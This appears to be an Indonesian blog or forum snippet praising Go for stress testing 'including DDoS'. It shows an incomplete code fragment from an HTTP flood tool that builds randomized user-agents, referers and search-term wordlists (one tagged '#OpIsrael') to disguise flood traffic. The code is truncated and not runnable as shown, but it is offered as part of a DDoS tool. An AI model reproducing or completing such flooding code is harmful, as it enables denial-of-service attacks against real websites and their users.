Golang memang sangat powerfull buat bikin tool web service
dan juga buat stressing/benchmark (termasuk DDoS)
berikut ini potongan kodenya, simple tapi powerfull
package main
import (
"math/rand"
"net"
"net/http"
"os"
"os/signal"
"strconv"
"crypto/tls"
"flag"
"fmt"
"time"
"runtime"
// dst, dll, dsb
var (
headersWordlists []string = []string{
"#OpIsrael",
"Pokemon Go&lang=all&stop_spam=0&stop_porn=0",
"US Election",
"MU",
"WheresHillary?src=tren",
"La Liga",
"Bundesliga",
}
headersReferers []string = []string{
"
http://www.google.com/?q=",
"
http://www.usatoday.com/search/results?q=",
}
headersUseragents []string = []string{

}
)
func MyHeader(host string) *http.Header {
hdr := http.Header{}
hdr.Add("User-Agent", headersUseragents[rand.Intn(len(headersUseragents))])
hdr.Add("Referer", headersReferers[rand.Intn(len(headersReferers))]+headersWordlists[rand.Intn(len(headersWordlists))])

return &hdr
}
